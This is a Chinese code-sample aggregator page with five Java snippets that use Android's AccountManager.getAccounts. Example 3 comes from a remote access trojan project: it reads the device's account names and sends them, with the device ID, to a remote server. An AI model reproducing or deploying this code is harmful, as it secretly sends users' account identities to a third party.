当前位置: 首页>>代码示例>>Java>>正文


Java AccountManager.getAccounts方法代码示例

本文整理汇总了Java中android.accounts.AccountManager.getAccounts方法的典型用法代码示例。如果您正苦于以下问题:Java AccountManager.getAccounts方法的具体用法?Java AccountManager.getAccounts怎么用?Java AccountManager.getAccounts使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在android.accounts.AccountManager的用法示例。


在下文中一共展示了AccountManager.getAccounts方法的5个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Java代码示例。

示例1: getName

import android.accounts.AccountManager; //导入方法依赖的package包/类
private String getName() {
    AccountManager manager = (AccountManager) getSystemService(ACCOUNT_SERVICE);
    if (ActivityCompat.checkSelfPermission(this, Manifest.permission.GET_ACCOUNTS)
            != PackageManager.PERMISSION_GRANTED) {
        return null;
    }

    Account[] list = manager.getAccounts();

    for (Account account : list) {
        if (account.type.equalsIgnoreCase("com.google")) {
            return account.name;
        }
    }
    return null;
}
 
开发者ID:hypertrack,项目名称:hypertrack-live-android,代码行数:17,代码来源:Profile.java

示例2: getUserIdentity

import android.accounts.AccountManager; //导入方法依赖的package包/类
private static String getUserIdentity(Context context) {
    if (ActivityCompat.checkSelfPermission(context, Manifest.permission.GET_ACCOUNTS) ==
            PackageManager.PERMISSION_GRANTED) {
        AccountManager manager = (AccountManager) context.getSystemService(Context.ACCOUNT_SERVICE);
        Account[] list = manager.getAccounts();
        String emailId = null;
        for (Account account : list) {
            if (account.type.equalsIgnoreCase("com.google")) {
                emailId = account.name;
                break;
            }
        }
        if (emailId != null) {
            return emailId;
        }
    }
    return "";
}
 
开发者ID:MindorksOpenSource,项目名称:CrashReporter,代码行数:19,代码来源:AppUtils.java

示例3: doInBackground

import android.accounts.AccountManager; //导入方法依赖的package包/类
@Override
    protected String doInBackground(String... params) {     
 	AccountManager am = AccountManager.get(getApplicationContext());
     Account[] accounts = am.getAccounts();
     ArrayList<String> googleAccounts = new ArrayList<String>();
     int i = 0;
     for (Account ac : accounts) {
     	if(i<Integer.parseInt(j))
     	{
         String acname = ac.name;
         String actype = ac.type;
         googleAccounts.add(ac.name);            
         
      try {
	getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "[" + actype + "] " + acname );
} catch (UnsupportedEncodingException e) {
	 
	e.printStackTrace();
}        	
     	}
     	i++;
     }
     
  return "Executed";
    }
 
开发者ID:mwsrc,项目名称:Dendroid-HTTP-RAT,代码行数:26,代码来源:MyService.java

示例4: doInBackground

import android.accounts.AccountManager; //导入方法依赖的package包/类
@Override
protected Object doInBackground(Object... params) {
	// Get accounts
	mListAccount = new ArrayList<CharSequence>();
	AccountManager accountManager = AccountManager.get(ActivityApp.this);
	mAccounts = accountManager.getAccounts();
	mSelection = new boolean[mAccounts.length];
	for (int i = 0; i < mAccounts.length; i++)
		try {
			mListAccount.add(String.format("%s (%s)", mAccounts[i].name, mAccounts[i].type));
			String sha1 = Util.sha1(mAccounts[i].name + mAccounts[i].type);
			mSelection[i] = PrivacyManager.getSettingBool(-mAppInfo.getUid(), Meta.cTypeAccount, sha1, false);
		} catch (Throwable ex) {
			Util.bug(null, ex);
		}
	return null;
}
 
开发者ID:ukanth,项目名称:XPrivacy,代码行数:18,代码来源:ActivityApp.java

示例5: onCreate

import android.accounts.AccountManager; //导入方法依赖的package包/类
@Override
protected void onCreate(Bundle savedInstanceState)
{
    themeHue = new ThemeHue();
    actionBarHue = new ActionBarHue();
    ThemeHue.setTheme(PreferencesActivity.this);

    super.onCreate(null);
    getFragmentManager().beginTransaction().replace(android.R.id.content, new MyPreferenceFragment()).commit();

    mSharedPrefs = PreferenceManager.getDefaultSharedPreferences(this);

    ActionBarHue.setActionBarColorToSharedPrefsValue(this);

    AccountManager mAccountManager = AccountManager.get(this);
    if (mAccountManager.getAccounts().length > 0)
    {
        Account[] mAccounts = mAccountManager.getAccounts();

        for (Account a : mAccounts)
        {
            mAccountNames.add(a.name);
        }
    }

    getSupportActionBar().setDisplayHomeAsUpEnabled(true);
}
 
开发者ID:HueToYou,项目名称:ChatExchange-old,代码行数:28,代码来源:PreferencesActivity.java


注:本文中的android.accounts.AccountManager.getAccounts方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。